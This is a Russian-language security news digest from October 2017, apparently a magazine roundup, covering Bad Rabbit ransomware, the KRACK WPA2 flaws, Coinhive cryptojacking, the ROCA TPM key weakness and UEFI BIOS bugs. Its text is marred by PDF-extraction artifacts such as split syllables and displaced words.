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BAD RABBIT
24  октября  2017  года  круп ные  рос сий ские  СМИ,  а  так же  ряд  укра инских
госуч режде ний под вер глись ата кам неиз вес тных зло умыш ленни ков. В чис ле
пос тра дав ших ока зались «Интерфакс», «Фон танка» и как минимум еще одно
неназ ванное интернет‐изда ние. Вслед за СМИ о проб лемах так же сооб щили
меж дународ ный  аэро порт  «Одес са»,  Киев ский  мет рополи тен  и  укра инское
Минис терс тво инфраструк туры.

По  дан ным  ана лити ков Group‐IB,  прес тупни ки  пытались  ата ковать  и  бан‐ 
ков ские инфраструк туры, но эти попыт ки ока зались неудач ными. Спе циалис‐ 
ты ESET, в свою оче редь, сооб щили, что ата ки так же кос нулись поль зовате лей
из Бол гарии, Тур ции и Япо нии.

Пе ребои  в  работе  ком паний  и  госуч режде ний  были  выз ваны  не  мас‐ 
совыми  DDoS‐ата ками,  как  мож но  было  бы  подумать,  а  шиф роваль щиком,
который получил имя Bad Rabbit. Мал варь шиф ровала все дан ные на пос тра‐ 
дав шей машине и тре бова ла 0,05 бит кой на выкупа.

Из началь но  вре донос  рас простра нял ся  под  видом  фаль шивых  обновле‐ 
ний  и  уста нов щиков  Adobe  Flash. Фак тичес ки  жер твы  дол жны  были  вруч ную
заг рузить  и  запус тить  мал варь,  тем  самым  заразив  свои  компь юте ры.
При  этом  фаль шив ки  были  под писаны  под дель ными  сер тифика тами,  ими‐ 
тиру ющи ми  сер тифика ты  Symantec.  Bad  Rabbit  рас простра няли  сра зу  нес‐ 
коль ко взло ман ных сай тов, в основном отно сящих ся к катего рии СМИ.

Пос ле недав них эпи демий шиф роваль щиков WannaCry и NotPetya за ана лиз
новой  угро зы  тут  же  взя лись  ведущие  ИБ‐ком пании  мира.  Так,  уже  на  сле‐ 
дующий  день  пос ле  пер вых  атак  «Пло хого  кро лика»  мал варь  изу чили  спе‐ 
циалис ты Bitdefender, Cisco Talos, ESET, Group‐IB, Intezer Labs, «Лабора тории
Кас пер ско го» и Malwarebytes.

Все иссле дова тели были сог ласны в одном — у Bad Rabbit и вай пера Not‐
Petya, ско рее все го, общие кор ни, так как они весь ма похожи, хотя боль шая
часть  кода  и  была  перепи сана. Это  зна чит,  что  вре доно сы мог ли  быть  соз‐ 
даны одной хакер ской груп пой. Если теории спе циалис тов вер ны, то за соз‐ 
дани ем Bad Rabbit и NotPetya, по всей видимос ти, сто ит груп пиров ка TeleBots
(она же BlackEnergy и Sandworm Team), которую ранее уже   с эпи‐ 
деми ей,  выз ванной  NotPetya.  Эти  же  зло умыш ленни ки  были  ответс твен ны
за раз работ ку мал вари  XData  и KillDisk,  а  так же    на  энер‐ 
госис тему Укра ины.

свя зыва ли

сто яли  за  ата ками

Ана лити ки  ком пании  Intezer  под счи тали,  что  исходный  код  вре доно сов
сов пада ет лишь на 13%. В то же вре мя спе циалис ты Group‐IB сооб щили:

«Bad Rabbit явля ется модифи циро ван ной вер сией NotPetya с исправ- 
ленны ми ошиб ками в алго рит ме шиф рования. В ата ке NotPetya содер- 
жался такой же алго ритм вычис ления хеш‑сум мы от име ни про цес са,
с  тем отли чием,  что  началь ный  век тор ини циали зации  в  слу чае Not-
Petya  , а в Bad Rabbit —  . Так же в текущей
ата ке поменя лось  количес тво иско мых имен про цес сов,  а  сама фун- 
кция  вычис ления  хеша была  ском пилиро вана  в  виде  отдель ной фун- 
кции ком пилято ром.
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Сов падения в коде ука зыва ют на связь ата ки с исполь зовани ем Bad
Rabbit с пре дыду щей ата кой NotPetya или их под ражате лями».

При  этом  сна чала  экспер ты  еди нодуш но  решили,  что  на  ско рость  рас‐ 
простра нения Bad Rabbit  пов лияло  исполь зование  ути литы Mimikatz,  спис ка
рас простра нен ных логинов и паролей, SMB и WebDAV, но при этом зло умыш‐ 
ленни ки  обош лись  без  укра ден ных  у  АНБ  экс пло итов.  В  час тнос ти,  спе‐ 
циалис ты писали, что хакеры не исполь зовали инс тру мент EternalBlue, экс плу‐ 
ати рующий  бре ши  в  SMB.  Напом ню,  что  вирусы  WannaCry  и  NotPetya  рас‐ 
простра нялись при помощи имен но это го экс пло ита.

Но  вско ре  ста ло  понят но,  что  экспер ты  поторо пились  с  вывода ми  и  без
похищен ных у АНБ экс пло итов дело все же не обош лось. Иссле дова тели Cis‐
co Talos и F‐Secure выяс нили, что авто ры Bad Rabbit исполь зовали не Eternal‐
Blue, а похожий EternalRomance, тоже экс плу ати рующий бре ши в SMB. Обна‐ 
ружи лось это не сра зу, так как ата кующие зна читель но переде лали экс пло ит
и авто мати чес кое ска ниро вание его не рас позна ло.

Ис сле дова тели  Cisco  Talos  отме тили,  что  дан ная  вер сия  EternalRomance
очень  похожа  на  Python‐импле мен тацию  экс пло ита,  исполь зован ного
для  рас простра нения  NotPetya.  Новый  вари ант  по‐преж нему  бли зок  к  ори‐ 
гиналь ному  EternalRomance,  который  был    хакер ской  груп пой
The Shadow Brokers, исходно похитив шей киберо ружие у АНБ.

опуб ликован

Ког да  основные  тех ничес кие  под робнос ти  о  Bad  Rabbit  были  рас кры ты,
спе циалис ты  при нялись  стро ить  теории,  пыта ясь  понять,  какую  цель  прес‐ 
ледова ли  авто ры мал вари.  В  отли чие  от NotPetya  новая  угро за  не  явля ется
вай пером, то есть не унич тожа ет информа цию на жес тких дис ках сво их жертв.
По  сути  Bad  Rabbit  был  имен но  тем,  чем  казал ся,  —  шиф роваль щиком.
Но край не скром ная сум ма выкупа, выбор целей для атак, а  так же прош лые
«зас луги»  груп пиров ки  TeleBots  зас тавили  спе циалис тов  пред положить,  что
«Пло хой кро лик» мог быть лишь прик рыти ем для некой более серь езной ата‐ 
ки. То есть шиф роваль щик мог прос то отвле кать вни мание и заметать сле ды
на заражен ных машинах.

 КОМПЬ ЮТЕ РОВ АСУ ПОД ВЕРГА ЮТСЯ АТА КАМ40%

В пер вой полови не 2017 года ана лити ки «Лабора тории Кас пер ско го» зафик сирова ли и пре дот‐ 
вра тили  зараже ние  на    компь юте ров,  отно сящих ся  к  тех нологи чес кой  инфраструк туре
орга низа ций.  По  срав нению  со  вто рым  полуго дием  2016  года  этот  показа тель  сни зил ся
на  1,6  п.  п.  В  Рос сии  про цент  компь юте ров  авто мати зиро ван ных  сис тем  управле ния  (АСУ),
стол кнув шихся с кибера така ми, ока зал ся нес коль ко боль ше и сос тавил  , что на 0,5 п. п.
выше прош логод него  показа теля. Наибо лее  неб лагоп рият ная  ситу ация  наб люда ется  во Вьет‐ 
наме, Алжи ре и Марок ко — в этих стра нах доля ата кован ных сис тем доходи ла до  .
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KRACK
В WPA2 был обна ружен целый ком плекс уяз вимос тей, получив ший наз вание
KRACK  (от  ).  О  проб лемах  все му  миру  сооб щила
свод ная груп па иссле дова телей, в которую вош ли: Мэти Ван хоф (Mathy Van‐
hoef) и Фрэнк Пис сенс (Frank Piessens) из Лёвен ско го католи чес кого уни вер‐ 
ситета, Малихех Шир ванян (Maliheh Shirvanian) и Нитеш Сак сена (Nitesh Saxe‐
na) из Ала бам ско го уни вер ситета в Бир минге ме, Юн Ли (Yong Li) из ком пании
Huawei  Technologies,  а  так же  пред ста витель  Рур ско го  уни вер ситета  Свен
Шеге (Sven Schäge).

Key  Reinstallation  Attacks

Под робная информа ция о проб лемах WPA2 была обна родо вана на сай те
, так же спе циалис ты начали напол нять темати чес кий репози‐ 

торий на  . Кро ме того, экспер ты опуб ликова ли 
,  которую  будут  пред став лять  на  кон ферен циях  Computer

and Communications Security (CCS) и Black Hat Europe.

krackattacks.com
GitHub на учно‐иссле дова тель‐ 

скую  работу

Кра еуголь ным  кам нем проб лемы ока зал ся  четыре хэле мен тный  хен дшейк
WPA2. Дан ный  хен дшейк  осу щест вля ется  тог да,  ког да  кли ент  хочет  под клю‐ 
чить ся  к  защищен ной  сети Wi‐Fi. Он  исполь зует ся  для  под твержде ния  того,
что  обе  сто роны  (кли ент  и  точ ка  дос тупа)  обла дают  кор рек тны ми  учет ными
дан ными.  В  то  же  вре мя  хен дшейк  исполь зует ся  для  сог ласова ния  све жего
клю ча  шиф рования,  который  впос ледс твии  будет  при менять ся  для  защиты
тра фика.  В  нас тоящее  вре мя  прак тичес ки  все  защищен ные  Wi‐Fi‐сети
исполь зуют  имен но  такой,  четыре хэле мен тный  хен дшейк.  Что  дела ет  их  все
уяз вимыми перед какой‐либо вари ацией атак KRACK.

«Ата ка работа ет про тив час тных и кор поратив ных Wi-Fi-сетей, про тив
уста рев шего  WPA  и  све жего  стан дарта  WPA2  и  даже  про тив  сетей,
которые исполь зуют исклю читель но AES. Все наши ата ки, нап равлен- 
ные на WPA2, исполь зуют новатор скую тех нику реин стал ляции клю чей
(key reinstallation)», — объ ясня ют авто ры KRACK.

По  сути,  KRACK  поз воля ет  реали зовать  ата ку  типа man  in  the middle  и  при‐ 
нудить  учас тни ков  сети  выпол нить  реин стал ляцию  клю чей  шиф рования,
которые защища ют тра фик WPA2. К тому же, если сеть нас тро ена на исполь‐ 
зование  WPA‐TKIP  или  GCMP,  зло умыш ленник  смо жет  не  толь ко  прос‐ 
лушивать тра фик WPA2, но и инжекти ровать пакеты в дан ные жер твы.

Ме тод KRACK уни вер сален и работа ет про тив любых  устрой ств,  под клю‐ 
чен ных  к  Wi‐Fi‐сети.  То  есть  в  опас ности  абсо лют но  все  поль зовате ли  An‐
droid,  Linux,  iOS,  macOS,  Windows,  OpenBSD,  а  так же  мно гочис ленные  IoT‐
устрой ства. Единс твен ная хорошая новость — ата кующе му нуж но находить ся
в зоне дей ствия целевой Wi‐Fi‐сети, то есть ата ку не получит ся устро ить уда‐ 
лен но.

При  этом  иссле дова тели  отме чают,  что  для  атак  на  раз личные  сис темы
при дет ся исполь зовать раз ные вари ации KRACK. Сте пень серь езности проб‐ 
лем  тоже  варь иру ется.  К  при меру,  спе циалис ты  пишут,  что  ата ки  на  Linux
и  Android  (стар ше  вер сии  6.0)  могут  носить  «катас тро фичес кий  харак тер»
из‐за исполь зования кли ента wpa_supplicant. Дело в том, что в слу чае экс плу‐ 
ата ции  най ден ных  уяз вимос тей  wpa_supplicant  2.4  и  выше  не  прос то  реин‐ 
стал лиру ет реаль ный ключ, а уста новит ключ, сос тоящий из одних нулей.

Уяз вимос тям,  вошед шим  в  сос тав  KRACK,  были  прис воены  сле дующие
иден тифика торы:  CVE‐2017‐13077,  CVE‐2017‐13078,  CVE‐2017‐13079,  CVE‐
2017‐13080,  CVE‐2017‐13081,  CVE‐2017‐13082,  CVE‐2017‐13084,  CVE‐2017‐
13086, CVE‐2017‐13087 и CVE‐2017‐13088.

Гла ва  иссле дова тель ской  груп пы  Мэти  Ван хоф  рас ска зал,  что  он  обна‐ 
ружил ком плекс проб лем, из которых фор миру ется KRACK, еще в 2016 году,
но  он  более  года  совер шенс тво вал  свою  ата ку.  Иссле дова тель  сооб щил
об  уяз вимос тях  некото рым  про изво дите лям  и  пред ста вите лям  US‐CERT
еще  в  июле  2017  года,  а  в  августе  поделил ся  информа цией  о  проб лемах
с широким кру гом вен доров.

В ито ге сло жилась инте рес ная ситу ация, ког да пат чить нуж но прак тичес ки
все. Уяз вимы как сами точ ки дос тупа, так и под клю чен ные к ним устрой ства.
Хотя  спе циалис ты  полага ют,  что  боль шинс тво  атак  в  будущем  при дет ся
непос редс твен но на кли енты, обно вить в любом слу чае нуж но все. К тому же
некото рые устрой ства могут одновре мен но быть точ кой дос тупа и кли ентом,
к  при меру  бес про вод ные  репите ры.  На    мы  соб рали
длин ный спи сок из уже вышед ших и толь ко зап ланиро ван ных обновле ний.

спе циаль ной  стра нице

РЫ НОК ВЫМОГА ТЕЛЬ СКО ГО ПО В ДАР КНЕ ТЕ УВЕ ЛИЧИЛ ‐
СЯ НА 2502%
 → Ана лити ки ком пании Carbon Black изу чили эво люцию рын ка вымога тель ско го ПО в дар кне те.

В пол ном соот ветс твии с прог нозами ана лити ков, за пос ледний год раз мер рын ка вымога телей
про дол жил рас ти в геомет ричес кой прог рессии.

Обо роты рын ка вымога телей изме нились с   дол ларов в 2016 году до   дол‐ 
ларов в 2017 году.

249 287 6 237 248

Эк спер ты  выяви ли    раз личных  пло щадок,  на  которых  прес тупни ки  рек ламиро вали  свои
сер висы, и обна ружи ли более   объ явле ний.

6300
45 000

Це ны на вымога тель ские решения варь иру ются от   до   дол ларов.0,50 3000

Сред няя цена вымога теля сос тавля ет   дол лара.10,50

В сред нем авто ры вымога тель ско го соф та зараба тыва ют поряд ка   дол ларов в год.100 000

Ис сле дова тели срав нили доход прес тупни ков со сред ним еже год ным доходом раз работ ‐
чиков легаль ного ПО в раз ных стра нах мира

ЭПИДЕМИЯ
КРИПТОДЖЕКИНГА
Нас тоящая  эпи демия  крип тодже кин га  (cryptojacking)  зах лес тну ла  интернет
еще в  сен тябре 2017  года,  но  в октябре это  явле ние про дол жило набирать
обо роты. Суть крип тодже кин га пре дель но прос та: в код сай тов внед ряют спе‐ 
циаль ные скрип ты, которые кон верти руют мощ ности CPU посети телей ресур‐ 
са в крип товалю ту. Фак тичес ки это май нинг через бра узе ры.

Ос новной тол чок раз витию это го мас сового явле ния дали опе рато ры тор‐ 
рент‐тре кера The Pirate Bay, которые в прош лом месяце про вели испы тания
и  вре мен но  встро или  крип товалют ный  май нер  в  нес коль ко  стра ниц  сай та.
Тог да опе рато ры тре кера объ ясни ли, что май нер может стать новым средс‐ 
твом  монети зации  и  поможет  ресур су  в  будущем  пол ностью  изба вить ся
от тра дици онной рек ламы.

11 октября 2017 года май нин говый скрипт для добычи крип товалю ты Mon‐
ero,  пре дос тавлен ный  сер висом Coinhive,  вновь  вер нулся  на  стра ницы  тре‐ 
кера, и, похоже, на этот раз май нер «при шел, что бы остать ся». Никаких офи‐ 
циаль ных заяв лений от опе рато ров сай та, впро чем, не пос тупало.

Ин терес но,  что  раз работ чики Coinhive  пред ста вили  спе циаль ный UI‐вид‐ 
жет,  который  приз ван  упростить  жизнь  кли ентам  сер виса,  жела ющим  идти
закон ным  путем. Вид жет  поз воля ет  посети телям  сай тов  с май нерами  лег ко
кон тро лиро вать их работу.

Де ло в том, что сами по себе май нин говые сер висы нель зя наз вать незакон‐ 
ными. Одна ко  крип тодже кинг  не  на шут ку  заин тересо вал  зло умыш ленни ков,
поэто му  май нин говые  скрип ты  далеко  не  всег да  исполь зуют ся  закон ным
обра зом.  К  при меру,  скрипт  Coinhive  уже  прис пособи ли,  что бы  добавить
скры тый  май нер  во  взло ман ное  рас ширение  для  Chrome,  а  так же  скры тые
май неры  были  обна руже ны  на  мно гих  ресур сах  из  топа  Alexa  (AirAsia,  Tune
Protect, офи циаль ный сайт Криш тиану Ронал ду и так далее).

Ху же  того,  исполь зовать  скрип ты  Coinhive  недав но  начали  некото рые
Tor2Web‐прок си,  и  скры тый  май нер  был  най ден  даже  в  мод динго вой  плат‐ 
форме для Grand Theft Auto V, FiveM.

Проб лема  зак люча ется  в  том,  что  боль шинс тво  ресур сов,  встро ивших
май неры в свои стра ницы, вооб ще не пре дуп режда ют поль зовате лей о про‐ 
исхо дящем,  а  скрип ты Coinhive  и  дру гих  ана логич ных  сер висов  зна читель но
наг ружа ют CPU и оття гива ют на себя поч ти все ресур сы сис темы. Кро ме того,
в погоне за лег ким заработ ком опе рато ры сай тов и зло умыш ленни ки,  взла‐ 
мыва ющие сай ты, не пре дос тавля ют поль зовате лям воз можность отклю чения
май неров. Из‐за это го мно гие ИБ‐экспер ты и ком пании рас смат рива ют такие
скрип ты как мал варь, а ком пания Cloudflare уже и вов се переш ла к активным
дей стви ям и начала бло киро вать такие сай ты.

Впро чем,  легитим ное  при мене ние  май нин гу  через  бра узе ры  тоже  уже
наш лось.  К  при меру,  май нер  Coinhive  встро или  в  бра узер ное  рас ширение
Iridium, одна ко его раз работ чики уве доми ли об этом поль зовате лей, пре дос‐ 
тавив им воз можность отклю чить май нер при желании.

По хожим  обра зом  пос тупили  и  опе рато ры  зак рытого  тор рент‐тре кера
PublicHD.  Поль зовате лям  ресур са  пред ложили  не  прос то  май нить  Monero
на  бла го  адми нис тра торов,  но  и  под нимать  таким  обра зом  свой  рей тинг
на  тре кере,  то  есть  работа  май нера  зач тется  бонусом  к  отданно му  и  под‐ 
нимет upload credit.

В  кон це  сен тября  2017  года  сер висов  для  бра узер ного  май нин га  нас‐ 
читыва лось  сов сем  нем ного  и  боль шинс тво  сай тов  пред почита ли  услу ги
Coinhive,  но  спус тя  месяц  ситу ация  кар диналь но  поменя лась.  Пер вым  кон‐ 
курен том Coinhive стал ана логич ный сер вис Crypto‐Loot, который тоже пред‐ 
лага ет опе рато рам сай тов встро ить в код стра ниц JavaScript и «копать» Mon‐
ero,  исполь зуя  компь юте ры  поль зовате лей.  Впро чем,  Crypto‐Loot  име ет
сущес твен ное  пре иму щес тво.  Если  Coinhive  забира ет  себе  30%  дохода,
оставляя  вла дель цам  сай тов  лишь  70%,  то  Crypto‐Loot  про сит  толь ко  12%
дохода, то есть опе рато рам сай тов оста ется 88%.

Так же,  помимо Coinhive  и  Crypto‐Loot,  уже  зарабо тали  сер висы MineMy‐
Traffic  и  JSEcoin,  ИБ‐спе циалист  Трой  Марш  (Troy  Mursch)  обна ружил  два
китай ских кло на Coinhive (Coin Have и PPoi), а экспер ты Microsoft наш ли сер‐ 
висы CoinBlind  и  CoinNebula.  Два  пос ледних  сер виса  даже  не  име ют  собс‐ 
твен ных сай тов и, судя по все му, ори енти рова ны исклю читель но на хакер ский
андегра унд и нелегаль ное исполь зование. Похоже, чис ло май нин говых сер‐ 
висов и даль ше про дол жит уве личи вать ся в геомет ричес кой прог рессии.

При  этом  «паль му  пер венс тва»  все  еще  весь ма  уве рен но  удер жива ет
Coinhive,  хотя наз вать его наибо лее надеж ным уже вряд ли воз можно. Дело
в том, что в кон це октября сер вис  .под вер гся кибера таке

Не извес тные  зло умыш ленни ки  сумели  про ник нуть  в  акка унт  Cloudflare,
при над лежащий  Coinhive,  где  изме нили  нас трой ки  DNS  для  coinhive.com.
В резуль тате скрипт coinhive.min.js  заг ружал ся с сер вера зло умыш ленни ков,
и эта модифи циро ван ная вер сия похища ла все хеши поль зовате лей, то есть
Monero  получа ли  взлом щики,  а  не  вла дель цы  сай тов,  где  работа ет  скрипт.
Ата ка  про дол жалась  око ло  шес ти  часов,  сколь ко  за  это  вре мя  успе ли
«зарабо тать» зло умыш ленни ки, не сооб щает ся.

Пред ста вите ли  Coinhive  не  ста ли  скры вать,  как  имен но  зло умыш ленни ки
узна ли учет ные дан ные от акка унта Cloudflare. ИБ‐спе циалис ты не уста ют пов‐ 
торять, что пов торное исполь зование паролей — это очень пло хая прак тика,
одна ко их ник то не слу шает. Так про изош ло и в этом слу чае. Опе рато ры сер‐ 
виса  полага ют,  что  пароль,  который  ком пания  исполь зовала  для  Cloudflare,
попал  в  откры тый  дос туп  еще  в  2014  году,  во  вре мя  круп ной  утеч ки  поль‐ 
зователь ских дан ных с Kickstarter.

По  ито гам  инци ден та  ком пания  завери ла,  что  «усво ила  труд ный  урок»,
и ком пенси рова ла убыт ки всем пос тра дав шим.

Нев зирая на слу чив шееся, Coinhive не утра тил сво ей популяр ности, поэто‐ 
му  ИБ‐спе циалис ты  запус тили  спе циаль ный  сайт  ,
на  котором  мож но  про верить,  какие  ресур сы  при меня ют  скрип ты  Coinhive.
Одна ко проб лемны ми теперь могут ока зать ся не толь ко сами сай ты.

WhoRunsCoinhive

Скры тые май неры уже были адап тирова ны к фор мату пла гинов для Word‐
Press. В офи циаль ном репози тории мож но было най ти как минимум два таких
решения: Simple Monero Miner — Coin Hive и Coin Hive Ultimate Plugin. Вско ре
пос ле их появ ления позицию по дан ному воп росу озву чили адми нис тра торы
офи циаль ного  репози тория  пла гинов  WordPress.org.  Они  тоже  выс казались
про тив  май неров  и  заяви ли,  что  один  пла гин  уже  был  бло киро ван  имен но
из‐за наличия май нера в коде.

Тем вре менем спе циалис ты Trend Micro и вов се сооб щили, что им уда лось
обна ружить  май нин говые  скрип ты  в  сос таве  трех  при ложе ний  для  Android.
При чем  при ложе ния  Recitiamo  Santo  Rosario  Free  и  SafetyNet  Wireless  App
были сво бод но дос тупны в офи циаль ном катало ге Google Play. Оче вид но, все
про вер ки безопас ности Google не сумели выявить, что прог раммы запус кают
май нер  в фоновом режиме,  с  помощью WebView.  Третье  при ложе ние обхо‐ 
дилось без WebView, но исполь зовало биб лиоте ку CPUminer, то есть май нило
даже без откры тия бра узе ра.

Ис сле дова тели Trend Micro с тре вогой отме тили, что при ложе ниям не нуж‐ 
но  зап рашивать никаких допол нитель ных раз решений для  такой активнос ти,
а  сама  работа  май нера  может  про воци ровать  перег рев  устрой ства,  зна‐ 
читель но  сок ращать  «срок  жиз ни»  батареи  и,  разуме ется,  ска зывать ся
на про изво дитель нос ти девай са.

Сто ит  ска зать,  что  от  бра узер ного  май нин га  защища ют  прак тичес ки  все
анти вирус ные  про дук ты  и  бло киров щики  рек ламы,  зап реща ющие  работу
скрип тов. Так же в Chrome Web Store мож но най ти спе циаль ные «про тиво май‐ 
нин говые»  рас ширения.  Плюс  ко  все му  поль зователь  всег да  может  самос‐ 
тоятель но отклю чить JavaScript или уста новить соот ветс твен ные рас ширения
для бра узе ра (к при меру, NoScript и ScriptBlock).

 → «Мы не можем доверять зарубеж ной крип тогра фии в такой чувс тви тель ной теме, как крип‐ 
товалю ты. Мы не можем исполь зовать  эти  вещи по  одной  прос той  при чине — мы  зна ем,  что
в этой крип тогра фии есть опре делен ные механиз мы зак ладок. Мы об этом догады вались всег‐ 
да, потом все это опуб ликовал Сно уден, потом под твер дилось сот нями дру гих уте чек. Ес ли мы
сде лаем  пра виль ную  юри дичес кую  рам ку  по  вза имо дей ствию  нашего  твер дого  рос сий ско го
руб ля с неким крип тоинс тру мен том, соз данным в РФ, и это будет понят но написа но… Как толь‐ 
ко мы это сде лаем на уров не реаль ных юри дичес ки зна чимых докумен тов, поверь те, весь мир
выс тро ится в оче редь для того, что бы вза имо дей ство вать с этим крип торуб лем»

, министр свя зи и мас совых ком муника ций РФ— Николай Никифо ров
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ВОЗВРАЩЕНИЕ
КОТЕЛЬНИКА
Так  называ емые  trusted  platform  module  (TPM)  исполь зуют ся  в  бес счет ном
количес тве устрой ств и гад жетов для генера ции RSA‐клю чей для VPN, шиф‐ 
рования дис ков, дос тупа к обыч ным акка унтам, работы с сер тифика тами и так
далее.

Свод ная груп па спе циалис тов, в которую вош ли пред ста вите ли чеш ско го
Масари кова  уни вер ситета,  италь янско го  уни вер ситета  Ка‐Фос кари  и  ком‐ 
пании Enigma Bridge, сооб щила, что все TPM ком пании Infineon Technologies,
выпущен ные  пос ле  2012  года,  содер жат  уяз вимость,  ослабля ющую  крип‐ 
тогра фию, из‐за чего надеж ность RSA‐клю чей ока зыва ется под боль шим воп‐ 
росом. Баг рас простра няет ся на TPM на базе спе цифи каций TCG 1.2 и 2.0.

Спе циалис ты  дали  проб леме  имя  ROCA  (Return  of  Coppersmith’s  Attack),
и  она  получи ла  иден тифика тор  CVE‐2017‐15361.    об  уяз вимос ти  уже
опуб ликован в откры том дос тупе.

Док лад

Проб лема  получи ла  широкую  огласку  10  октября  2017  года,  ког да  Mi‐
crosoft пред ста вила свой еже месяч ный набор обновле ний. В бюл летене 

  ком пания  пре дуп редила  о  проб лемах  с  крип тогра фией  в  TPM  Infi‐
neon  Technologies  и  сооб щила,  что  раз реша ет  исполь зование  соф твер ных
алго рит мов  для  генера ции  более  надеж ных  RSA‐клю чей.  Так же  пос ле  уста‐ 
нов ки  обновле ния  рекомен довалось  озна комить ся  с 

 самой Infineon Technologies, уста новить эти исправ ления тоже, а пос ле
не забыть заново сге нери ровать нуж ные клю чи, изба вив шись от ненадеж ных.

AD‐
V170012

бюл летенем  безопас‐ 
ности

Проб лема зат ронула мно жес тво устрой ств, вклю чая девай сы HP, Acer, Fu‐
jitsu,  Lenovo,  LG,  «Хром буки».  При чем  устрой ства  могут  быть  уяз вимы  вне
зависи мос ти  от  исполь зуемой  опе раци онной  сис темы,  в  опас ности  любая
ОС, работа ющая с проб лемны ми TPM. Так же уяз вимость пред став ляет угро зу
для  некото рых  токенов  Yubikey  4,  генери рующих  ненадеж ные  аутен тифика‐ 
цион ные  клю чи,  из‐за  чего  теперь  их  вла дель цам  как  мож но  ско рее  нуж на
замена.

Еще  силь нее  проб лема ROCA  уда рила  по  выпущен ным  в Эсто нии  иден‐ 
тифика цион ным  кар там,  осна щен ным  спе циаль ным  чипом  и  поз воля ющим
исполь зовать  крип тогра фичес кие  под писи  для  некото рых  опе раций.  Ока‐ 
залось, что баг зат ронул швей цар скую ком панию Gemalto AG, которая ранее
при обре ла фир му  Trub  AG,  раз работав шую  и  пос тавля ющую Эсто нии  иден‐ 
тифика цион ные  кар ты  для  граж дан.  Как  показа ло  про веден ное  эстон ски ми
влас тями  рас сле дова ние,  уяз вимос ти  под верже ны  все  ID,  выпущен ные
с  14  октября  2014  года  по  26  октября  2017  года.  В  ито ге  еще  в  сен‐ 
тябре  2017  года  влас ти  стра ны  начали  уве дом лять  вла дель цев  ID  о  необ‐ 
ходимос ти обно вить удос товере ния лич ности.

Те перь  влас ти  стра ны  и  вов се  при няли  пред ложение  Депар тамен та
полиции и пог ранох раны и Депар тамен та государс твен ных информа цион ных
сис тем и решили оста новить дей ствие сер тифика тов ID‐карт из груп пы рис ка
с  начала  нояб ря  2017  года.  Кар ты  про дол жат  дей ство вать  в  качес тве  удос‐ 
товере ния  лич ности,  но  их  невоз можно  будет  исполь зовать,  к  при меру,
для  покуп ки  лекарств  по  элек трон ным  рецеп там,  работы  с  налога ми  и  для
дру гих опе раций, в которых задей ству ется крип тогра фичес кий ключ.

Карт с зак рытыми сер тифика тами нас читыва ется поряд ка 760 тысяч, и для
их обновле ния жителям необ ходимо обра тить ся в пред ста витель ства Депар‐ 
тамен та  полиции  и  пог ранох раны  или  вос поль зовать ся  соот ветс тву ющей
услу гой  в  режиме  онлайн.  Обновле ние  сер тифика тов  нач нется  6  нояб‐ 
ря 2017 года и прод лится до 31 мар та 2018 года. Пос ле 1 апре ля 2018 года
по сооб ражени ям безопас ности все необ новлен ные сер тифика ты будут анну‐ 
лиро ваны.

Спе циалис ты,  обна ружив шие  ROCA,  писали,  что  при менять  проб лему
на прак тике, исполь зуя ее для мас совых атак, вряд ли получит ся, так как это
невыгод но для зло умыш ленни ков с эко номи чес кой точ ки зре ния. Дело в том,
что на  то,  что бы вос создать 1024‐бит ный ключ, опи раясь на откры тый ключ,
пот ребу ется  поряд ка  97  дней  работы  CPU,  и  это  будет  сто ить  40–80  дол‐ 
ларов,  но  для  2048‐бит ного  клю ча  понадо бит ся  уже  51  400  дней  и  20–
40 тысяч дол ларов. Впро чем, взлом 512‐бит ного клю ча зай мет все го два часа
и обой дет ся лишь в шесть цен тов.

С эти ми вывода ми   незави симые ИБ‐спе циалис ты Дэни ел
Берн штейн  (Daniel  J.  Bernstein)  и  Таня Лэндж  (Tanja  Lange). Экспер ты  опуб‐ 
ликова ли  деталь ное  иссле дова ние,  сог ласно  которо му  экс плу ата ция  ROCA
на  прак тике  может  ока зать ся  дешев ле  и  про ще,  чем  пред полага лось  изна‐ 
чаль но.

не сог ласились

Хо тя  Берн штейн  и  Лэндж  пытались  вос про извести  ата ку,  имея  на  руках
лишь  огра ничен ные  дан ные,  опуб ликован ные  пер вой  груп пой  иссле дова‐ 
телей,  у  них  не  прос то  все  получи лось — они  даже  наш ли  спо соб  уско рить
нахож дение 2048‐бит ного клю ча на 5–25% и зна читель но сни зить сто имость
ата ки.

 СТА ТЕЙ В WIKIPEDIA НАПИСА НЫ   РЕДАК ТОРОВ77% 1%
 → Груп па иссле дова телей из уни вер ситета Пердью под счи тала, что статьи в Wikipedia пишут ся

вов се не «всем миром», хотя вно сить прав ки и пред лагать новый кон тент дей стви тель но может
каж дый.

Про ана лизи ровав  более  250  мил лионов  пра вок,  сде лан ных  за  пос ледние  десять  лет,  спе‐ 
циалис ты приш ли к выводу, что   ста тей были написа ны неким «ядром» редак торов, чис ло
которых  рав няет ся  при мер но  одно му  про цен ту.  При  этом  зарегис три рован ных  и  активных
редак торов Wikipedia в нас тоящее вре мя нас читыва ется   тысячи (точ ное чис ло незаре гис‐ 
три рован ных  неиз вес тно),  и  получа ется,  что  основную  «дви жущую  силу»  ресур са  сос тавля ют
при мер но   человек, при чем эти люди регуляр но меня ются.
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УЯЗВИМОСТЬ В UEFI
Еще  в  августе  2017  года,  на  кон ферен ции  Black  Hat  USA  2017,  спе циалист
ком пании  Cylance  Алекс  Мат росов  пред ста вил  док лад,  пос вящен ный  уяз‐ 
вимос тям, которые он обна ружил в импле мен таци ях Intel UEFI BIOS ряда про‐ 
изво дите лей материн ских плат. Тог да иссле дова тель рас ска зал, что най ден‐ 
ные им баги поз воля ют обой ти защит ные механиз мы BIOS, в том чис ле  Intel
Boot  Guard  и  Intel  BIOS  Guard,  а  так же  изме нить  или  под менить  сам  UEFI
BIOS, к при меру внед рив в него рут кит.

Про тес тирован ные иссле дова телем устрой ства базиро вались на популяр‐ 
ной  сре ди OEM‐про изво дите лей  AMI  Aptio UEFI  BIOS  (исполь зуют Gigabyte,
MSI, Asus, Acer, Dell, HP, ASRock и дру гие). Тог да Мат росов рас ска зал о шес ти
уяз вимос тях в четырех материн ских пла тах:

Asus Vivo Mini: CVE‐2017‐11315;•
Lenovo ThinkCentre systems: CVE‐2017‐3753;•
MSI Cubi2: CVE‐2017‐11312 и CVE‐2017‐11316;•
Gigabyte серия BRIX: CVE‐2017‐11313 и CVE‐2017‐11314.•

Ис сле дова тель сетовал, что про изво дите ли материн ских плат не исполь зуют
аппа рат ные  защит ные  механиз мы,  в  том  чис ле  пред став ленные  Intel  мно го
